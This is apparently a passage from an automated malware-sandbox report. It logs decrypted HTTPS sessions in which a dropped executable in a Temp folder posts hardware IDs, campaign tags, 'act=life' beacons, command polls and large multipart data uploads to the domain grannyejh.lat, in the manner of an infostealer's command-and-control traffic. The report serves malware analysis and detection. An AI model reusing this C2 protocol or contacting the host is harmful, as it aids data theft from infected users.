                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=luXio5%2FUb7mv6olsclUgKGijif7kvSQhI9HqDk5qCX89kZaUzXPgXGWDqcyATkpNtVTA7r4EXYxD564TDSdmh98hbsEkvTQ3GKdtCHUFDVLyNQXgU%2FdScWXAQUn3DtYY"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432b15a994433a-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1829&min_rtt=1829&rtt_var=687&sent=7&recv=16&lost=0&retrans=0&sent_bytes=2831&recv_bytes=12503&delivery_rate=1592148&cwnd=242&unsent_bytes=0&cid=66fe599141813e3a&ts=841&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:13 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:10:13 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            18192.168.2.549987172.67.179.1094435360C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:13 UTC276OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=UGM3QHOQS4BQ7H
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 565426
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:13 UTC15331OUTData Raw: 2d 2d 55 47 4d 33 51 48 4f 51 53 34 42 51 37 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 55 47 4d 33 51 48 4f 51 53 34 42 51 37 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 55 47 4d 33 51 48 4f 51 53 34 42 51 37 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 55 47 4d 33 51 48 4f 51
                                                                                                                                                                                                                                                            Data Ascii: --UGM3QHOQS4BQ7HContent-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--UGM3QHOQS4BQ7HContent-Disposition: form-data; name="pid"1--UGM3QHOQS4BQ7HContent-Disposition: form-data; name="lid"PsFKDg--pablo--UGM3QHOQ
                                                                                                                                                                                                                                                            2024-12-19 00:10:13 UTC15331OUTData Raw: d0 7f 5d 1c c5 50 91 49 fa f5 34 4c 0c a0 6c aa b7 be 9d 2f 73 fd b8 28 08 b6 92 21 c6 fd 48 d0 01 d7 02 ee dd d0 e1 39 de 4d 51 ce 51 5e d0 fc ff b0 bc 1c 12 4d 80 e0 aa 14 fc 1b c0 ea f8 3f 07 4a 06 4a 20 2a af 1a c2 aa 29 46 03 4a 6b 33 67 07 23 00 fd d5 5c 55 b2 11 83 35 57 93 62 89 50 a6 9d 92 d6 42 c0 26 29 dd 3e 07 07 a2 82 37 3f a6 dc 25 ee 35 f9 40 13 d0 4e 46 87 ee e1 b8 39 33 a6 57 63 74 d0 6e 8f 82 19 72 d9 ea cc dc 35 b4 60 ed 2d c3 f4 96 f4 a2 b5 cc cf da a8 15 69 0f 86 0f fa a6 5d 37 8a 92 ba 9e d5 dd 27 d2 7a 5e b8 9c eb b3 aa 30 1c e7 3b 20 14 68 30 7f ac d3 7f ed af 98 f0 7b a9 e5 fb 60 0a 6c c4 07 54 26 9d 3b ad 26 a0 e9 d3 8c 93 84 45 51 f0 ad 04 c7 64 4b 0c 5b 3f 3d 11 54 22 67 0d 91 c6 1a ea be 24 b5 71 c6 0c 5d cb fe 79 1c e1 7f b9
                                                                                                                                                                                                                                                            Data Ascii: ]PI4Ll/s(!H9MQQ^M?JJ *)FJk3g#\U5WbPB&)>7?%5@NF93Wctnr5`-i]7'z^0; h0{`lT&;&EQdK[?=T"g$q]y
                                                                                                                                                                                                                                                            2024-12-19 00:10:13 UTC15331OUTData Raw: 9e f7 92 ff f3 2c 52 ac 46 14 d5 66 f5 79 86 d0 04 1c 98 e8 bb 7d d9 8a 7a 0c 14 c8 3e e1 95 0c 0f b9 c4 5d 90 78 36 b8 c0 56 f1 e9 26 af 45 07 ce d7 e1 06 d1 42 fa 4c ce ef b2 84 f2 ff 2c 5f df 95 2c 2f b8 06 f0 93 fe df 3d fe 19 10 b3 72 f8 d5 a6 37 a7 6f 55 e9 f4 2e 8a 20 63 90 dc 97 06 2a f5 2c c1 9d 66 bd 85 31 12 80 7b 96 d6 71 e9 fe 33 8e d5 cf 3f 6d 4f 5c 72 1c e7 14 af 9a 94 f9 34 f4 7b ae be d7 1a 98 ed d6 fc a0 d2 5f 6a 5a f7 79 d6 77 6e 02 0c 7b b0 0d 7e ee e1 4c fb b3 56 4d 5f 57 3a 9e 49 fb e5 19 78 db e1 28 a8 f2 30 c5 01 d6 0b 30 ff 36 07 02 dc 44 74 f0 ef 7b c1 27 c0 fc 00 e2 8e cf 83 c4 69 c0 58 45 33 f2 3e 6b 21 26 88 8c 62 dc 3d 41 fa bf c1 ac dc fb 24 45 da 17 1c 40 38 85 64 db 6e ce 29 d0 a3 44 55 e3 01 62 ab d7 76 cb 37 c9 25 43 35
                                                                                                                                                                                                                                                            Data Ascii: ,RFfy}z>]x6V&EBL,_,/=r7oU. c*,f1{q3?mO\r4{_jZywn{~LVM_W:Ix(006Dt{'iXE3>k!&b=A$E@8dn)DUbv7%C5
                                                                                                                                                                                                                                                            2024-12-19 00:10:13 UTC15331OUTData Raw: d5 a8 a0 41 23 75 62 a8 35 53 bf 75 67 2a f9 ef 77 7f 6f 6a 7c 3f 53 d5 b2 c7 8b 79 f9 4d 2b ff 8c 6c 91 4e 29 41 1b 4d 50 a5 f9 f5 27 01 9a 79 9a e8 8d 5f da 9e b9 7b bd e6 2f 50 44 d2 c5 aa ba 96 79 ba 9f e9 e7 85 fd 63 56 0c 57 2f ba 0d e3 55 87 74 15 5e 55 64 37 ef 7c 56 fb f7 a1 9b 8f d0 39 92 86 fe e0 bf 24 d2 46 dd 9b 7b 18 c2 62 91 cc 1a 44 df ab b6 87 af f2 d8 cd 1a af e3 4e 77 4e 1d f1 5a bc d3 62 4e eb 9d f8 27 eb 2e ec af 34 06 30 7a b3 c7 d9 7e 9e 76 6b 5e af cf fc 5d 86 07 b1 67 ed c2 a6 54 2a 2d 64 05 c7 55 df 79 4e 1e e5 48 66 96 9f 73 74 e8 41 57 b4 7d 7d c0 36 8d 17 ee b2 a6 8b b3 9a f7 c4 54 ff e5 6f f6 4b d4 b6 77 bf 3e 69 62 1b 83 41 a1 f8 04 34 29 99 98 37 45 bd 9c 60 07 8d e2 3b 0a 0a 88 1e ea 28 da 0d 0a 85 2a 1c 56 fb 8a 16 21 f9
                                                                                                                                                                                                                                                            Data Ascii: A#ub5Sug*woj|?SyM+lN)AMP'y_{/PDycVW/Ut^Ud7|V9$F{bDNwNZbN'.40z~vk^]gT*-dUyNHfstAW}}6ToKw>ibA4)7E`;(*V!
                                                                                                                                                                                                                                                            2024-12-19 00:10:13 UTC15331OUTData Raw: 37 d3 3b f2 ef c6 c6 44 97 e8 88 bf 95 42 7f 26 3b 18 22 96 8a 2f fe 0a 93 e5 f8 90 c7 37 c4 e3 f8 5a 4d fd 4a a2 0e d9 cb 16 fe 60 61 68 66 ef d8 80 78 8e 9c ff cf 09 8c ff 7d d0 03 dd 8f b8 f3 b2 31 7f e3 41 00 1a f4 b9 43 f3 27 b8 c0 14 2b 7f 05 a8 b6 2a 27 41 e2 bd 1f df de ae 38 02 cc 36 eb 8f a1 68 27 7e fe a4 5d 4e dc a8 0f ea 17 c2 0f 7f b8 6d a0 c3 72 53 e9 2e 65 e1 57 b4 74 2d 5e 97 77 ce 89 dd 12 e1 4b b1 04 78 fa c4 55 d8 09 df 20 4a 8f ff c8 9f de 8c 32 b4 19 cd 00 16 69 12 4b 97 e8 99 f9 80 13 48 6c bc 15 e6 10 dc bd d2 f3 75 95 64 4f 47 f7 a1 2a e2 c6 e4 24 77 09 98 d9 9f eb 82 82 b9 78 54 c1 9b 8f e6 13 d0 05 2e ec da 8b 9f 15 c9 23 99 9e 94 e6 c5 fc 36 87 6a 83 50 83 08 6a a2 08 de f3 78 7a 29 4b 09 1b 52 24 63 0d a5 bb 83 22 57 a7 f7 bf
                                                                                                                                                                                                                                                            Data Ascii: 7;DB&;"/7ZMJ`ahfx}1AC'+*'A86h'~]NmrS.eWt-^wKxU J2iKHludOG*$wxT.#6jPjxz)KR$c"W
                                                                                                                                                                                                                                                            2024-12-19 00:10:13 UTC15331OUTData Raw: 69 c5 da cb 3f f2 5f 98 00 7a 9f 3b e8 f7 8d 6e 9e 6e 41 b1 aa e4 b5 d0 5e 3c 6f 09 98 96 64 08 c9 75 b9 0d 8e 58 98 5f ab 04 54 9d 9d b8 7c a0 4f f8 57 94 ae 97 29 e7 8c de 1e 77 e8 e9 c2 7f 6e e6 fa 3b 40 bd 25 ab 91 30 83 89 43 ca a6 ca 45 b3 c4 89 d1 d7 8d 2d 46 15 84 26 c4 8a 70 2d 4d 4e 2a 1e 7d b3 a3 7e d1 e8 d5 61 a7 0d 7b c9 9e 0e 24 1e 65 28 f2 83 e9 a0 c9 a0 2e 8c 4a 9b 83 48 a3 96 d6 82 79 0a 55 47 cc 62 00 46 70 32 37 c9 0d 63 dd 65 94 8f d6 b8 2e 1f 92 a8 26 15 7c 65 d9 b0 d8 b9 91 7c ef b2 54 88 7b 48 54 0c bb d7 99 7b d9 68 85 65 44 8f fb b5 15 54 ca 97 20 77 8a e4 d1 d1 90 63 54 d6 8a a0 2f e9 f3 40 22 34 7a 9a 91 3f 46 84 83 3c 18 37 57 bb 5a d8 8f 17 04 d8 27 79 ee 11 01 d1 19 5c 9b 1f 14 72 28 75 c3 83 21 56 5f 99 96 27 ee 36 33 e6 0e
                                                                                                                                                                                                                                                            Data Ascii: i?_z;nnA^<oduX_T|OW)wn;@%0CE-F&p-MN*}~a{$e(.JHyUGbFp27ce.&|e|T{HT{heDT wcT/@"4z?F<7WZ'y\r(u!V_'63
                                                                                                                                                                                                                                                            2024-12-19 00:10:13 UTC15331OUTData Raw: c2 66 86 9f 00 2c 9f 51 c6 77 68 d5 b1 9e ad 8b 66 9c 90 e0 b5 6b 71 bb fc 0a ae e0 65 91 9f 7e b2 ab 0b fc df 15 b4 7e fd 56 bd 79 6b 20 62 c3 90 28 10 2e 2c 66 51 16 17 ff 7c e3 b9 ec 86 7a 24 ed 9f dc b7 53 8b 91 ea c6 3a 07 28 b4 bd 12 72 4f 4a 1b 5e 1b 87 85 ed 58 33 08 f8 db 23 31 0f 50 b9 0d cc f4 63 50 ce 29 f4 e2 f0 e1 ce 43 a0 3a d2 f6 f9 ff 5a 20 a4 fc 3d 70 a8 19 0d 1c b0 69 e3 9c bd d7 ff 1e 29 65 c3 f9 f0 48 9a b1 95 9f 02 61 b9 5b 7c c2 ce bf f1 f7 8b fc 62 d6 4c 8c 8e 07 ad 7b a1 ab 68 56 9c 22 7c 78 69 3a ca 59 08 a8 8e 6b 49 92 f2 4e d2 7f 10 99 0f 6d dd 93 b2 ca 41 bc 22 cc 11 1b 47 5f 57 4a ac 7b 54 2a 61 d7 7e 61 1e 22 64 44 a0 22 7d d7 c4 11 7d 4f 28 0e 2c f1 a7 5b dc a3 72 da c0 6f a3 f3 f0 83 d5 22 64 4a 76 bb 45 8c dd 5d 5e 15 f3
                                                                                                                                                                                                                                                            Data Ascii: f,Qwhfkqe~~Vyk b(.,fQ|z$S:(rOJ^X3#1PcP)C:Z =pi)eHa[|bL{hV"|xi:YkINmA"G_WJ{T*a~a"dD"}}O(,[ro"dJvE]^
                                                                                                                                                                                                                                                            2024-12-19 00:10:13 UTC15331OUTData Raw: 37 2f 04 7c 7e c2 23 df 1c 3a 81 20 85 37 bb 7a ef 52 84 01 ec 8b ad df 2d 3b 18 5d f7 e4 32 df d5 f7 cd b3 c8 7b c2 b1 0a ba 0d fb 8e 8f 3a ce 32 68 9a f0 78 f3 d7 f9 4f c8 7a 7c 99 37 12 16 3f 0d 79 7e d5 05 77 89 32 dc bb c4 08 47 5f 70 73 f8 88 af d9 53 9a 26 eb 49 4c ee 3e 2e 47 c5 20 3f 04 37 5c b9 30 52 7f 6a 3d f1 d9 9d 2c f5 cd bb 9f 0c 16 d8 7f be 21 e8 fa 80 71 b6 44 78 8f 1e 58 67 73 e9 f1 c2 58 81 ba cf 3f 67 37 01 8c c9 e8 79 8b ba 64 5a cf e6 84 35 0c af 4e 97 68 82 0a 9e 37 74 18 01 3f 57 fc 33 39 b1 10 eb 31 ff a0 b9 4c c8 50 cc b0 24 81 fb 9f ff a7 f6 00 87 e9 f1 af 7a 60 94 e8 0a 2d fd a4 24 8d b6 3b c3 b5 c7 0d 15 ef 92 7d 53 71 18 2d fb 0d b6 7c 7a 02 b7 9d 05 ab 48 51 9c 47 3d eb 66 f9 49 e2 bc e9 c5 a8 c1 90 e3 e6 1b 98 d8 52 be 87
                                                                                                                                                                                                                                                            Data Ascii: 7/|~#: 7zR-;]2{:2hxOz|7?y~w2G_psS&IL>.G ?7\0Rj=,!qDxXgsX?g7ydZ5Nh7t?W391LP$z`-$;}Sq-|zHQG=fIR
                                                                                                                                                                                                                                                            2024-12-19 00:10:13 UTC15331OUTData Raw: 32 97 2c 74 30 d1 93 0b 2d 35 86 a4 23 34 d3 fa 68 01 55 0e 25 8c 42 ac f8 83 96 1a 9f 27 b1 88 19 0d 34 fb be 37 e5 a3 4c 1a 82 85 59 7f 40 fa b3 60 05 80 61 9e 6f 4c e3 8a 27 81 ea 01 49 52 1c a6 70 2e 29 8f c4 cd 35 b7 5d 10 19 ca cb 4f 47 d2 2f 57 4b b5 27 1f 39 19 2b 26 45 49 5e c0 ad e3 7a b3 f6 ca e8 d4 f2 de cc ac 89 e5 c3 45 d1 a5 bf ec a5 67 11 2c 4d c8 6e 09 b6 a6 bf 93 3a 1c 5f 45 cd 18 ba 9f d2 60 21 d6 84 12 a9 64 db c6 99 d8 0d c0 94 e4 35 d7 e4 85 4e 9f 94 ac e7 d4 43 27 d4 84 ee 1f 69 cf 2a 38 53 83 b4 e6 b7 62 3c 60 ea e8 aa fc f2 79 ab 74 c3 bb 46 44 f1 30 75 fd 02 3e 92 d0 cb 60 ce 4d bf 8f c4 f6 72 f6 8f 21 eb 71 28 29 cd 0d d3 dd ab 2a 41 fd 14 b5 16 76 be 1d 4d 02 86 3a 10 e7 26 fd 6f ff bf 94 33 c0 78 60 ff fa 55 83 e4 89 e2 33 db
                                                                                                                                                                                                                                                            Data Ascii: 2,t0-5#4hU%B'47LY@`aoL'IRp.)5]OG/WK'9+&EI^zEg,Mn:_E`!d5NC'i*8Sb<`ytFD0u>`Mr!q()*AvM:&o3x`U3
                                                                                                                                                                                                                                                            2024-12-19 00:10:13 UTC15331OUTData Raw: 12 1c 07 25 95 ae 54 af c5 18 30 c2 4e a8 85 1a 6a 81 5d 7f 3f 6d f7 d4 1a d7 d6 a4 8b b1 91 9e 79 86 bf e0 0c 44 8c 31 2e a2 85 3d 74 e0 72 81 03 08 0b b7 8e 24 b7 3d 79 40 5a 55 b4 83 bd f8 cb 86 e3 a4 82 1c 6f af 7e 13 50 43 20 bb ad 18 8a ee 2c 0c 93 43 7d b1 4c f4 fa 98 7a 53 d8 c7 f1 57 d7 0b 9c a1 74 07 17 25 31 17 98 e2 24 33 6f de 1b d5 a4 7a b5 3a 3c 38 9a 7d 48 2e d6 27 1a 10 d6 d4 c7 12 bc b6 ac 87 6a 5e f3 a7 fe 71 1e a4 c6 82 ba 3f 59 2a 34 c2 f7 b8 78 c3 50 c3 72 96 9f 4c 1b 43 f2 ac a3 a9 61 30 2e 23 cd 07 37 3d c4 60 4d ae 9e 6f c2 41 20 7e de e7 cc bf b2 d9 5b 36 07 bf 6e e1 c1 4f e1 ec b9 3a ad 83 27 b3 71 8c 46 79 ba 74 2a e2 cb 73 41 b2 03 39 e6 c9 48 d4 c6 6e 0a 8e 2f a6 9c 75 50 e6 ef e0 70 52 26 9e 15 25 f6 08 0d dc fa 17 97 60 a3
                                                                                                                                                                                                                                                            Data Ascii: %T0Nj]?myD1.=tr$=y@ZUo~PC ,C}LzSWt%1$3oz:<8}H.'j^q?Y*4xPrLCa0.#7=`MoA ~[6nO:'qFyt*sA9Hn/uPpR&%`
                                                                                                                                                                                                                                                            2024-12-19 00:10:16 UTC1129INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:16 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=vqbrdft1kitmk6iq6m14l1elvm; expires=Sun, 13 Apr 2025 17:56:54 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dankwa6j%2F1Gh6HUaQRiYiRlfI%2BJVYeSoNjpjwY4lC%2Bl41J8KAE5oWJV54DH3y55e%2BwWV3DcuHUAv2Y9FxQfTBkTJDJELskokk0mFIlGJGX0EbBDmIncIot%2BOgOBi3N2a"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432b1e7d4332fc-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1819&min_rtt=1806&rtt_var=703&sent=300&recv=590&lost=0&retrans=0&sent_bytes=2829&recv_bytes=567944&delivery_rate=1528795&cwnd=226&unsent_bytes=0&cid=076c8331ac6e0169&ts=2484&x=0"


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            19192.168.2.549988172.67.179.1094432292C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:14 UTC260OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 8
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:14 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                                            Data Ascii: act=life
                                                                                                                                                                                                                                                            2024-12-19 00:10:15 UTC1124INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:15 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=qac5un4okf45df0pm659h9t7ru; expires=Sun, 13 Apr 2025 17:56:53 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T%2BXss%2B032xS11B7NcZV9ga2xNmIezsG1d7b16NP0gkxbUrMPC0fVdH2OoNtv4ngpLRlDzInvq%2F8FhR7zk70tm%2BzgQXlI%2Bmd6l%2BGQcRqBKXAKFM6wJzwUYwx98bzs0Drn"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432b200ef972a7-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1869&min_rtt=1865&rtt_var=708&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=1536842&cwnd=177&unsent_bytes=0&cid=c376af7ecd2cb6b9&ts=1119&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:15 UTC7INData Raw: 32 0d 0a 6f 6b 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 2ok
                                                                                                                                                                                                                                                            2024-12-19 00:10:15 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            20192.168.2.549993172.67.179.1094431256C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:15 UTC279OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=OLIHLXF6RJFTL8BUYN
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 15077
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:15 UTC15077OUTData Raw: 2d 2d 4f 4c 49 48 4c 58 46 36 52 4a 46 54 4c 38 42 55 59 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4f 4c 49 48 4c 58 46 36 52 4a 46 54 4c 38 42 55 59 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 4c 49 48 4c 58 46 36 52 4a 46 54 4c 38 42 55 59 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f
                                                                                                                                                                                                                                                            Data Ascii: --OLIHLXF6RJFTL8BUYNContent-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--OLIHLXF6RJFTL8BUYNContent-Disposition: form-data; name="pid"2--OLIHLXF6RJFTL8BUYNContent-Disposition: form-data; name="lid"PsFKDg--pablo
                                                                                                                                                                                                                                                            2024-12-19 00:10:16 UTC1126INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:15 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=aetkiq24atg813m9monq61ef04; expires=Sun, 13 Apr 2025 17:56:54 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0eAfQo%2FXyRfPz%2B%2FIqZH9p5ce1gXbwwV91sftiVjkSfqy%2FX5RXMHEHP5BGZ53uSttNIQJcqRBR0VLWxfCKjRQgF9HjCQqF%2FrlNnQ3HDZwTtnYV7bjTCF9HcetegDZ1s17"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432b261ceac44f-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1745&min_rtt=1742&rtt_var=659&sent=13&recv=21&lost=0&retrans=0&sent_bytes=2829&recv_bytes=16014&delivery_rate=1652518&cwnd=251&unsent_bytes=0&cid=08a8505cf69d412f&ts=1032&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:16 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:10:16 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            21192.168.2.549999172.67.179.1094432292C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:16 UTC261OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 47
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:16 UTC47OUTData Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d
                                                                                                                                                                                                                                                            Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
                                                                                                                                                                                                                                                            2024-12-19 00:10:17 UTC1121INHTTP/1.1 200 OK
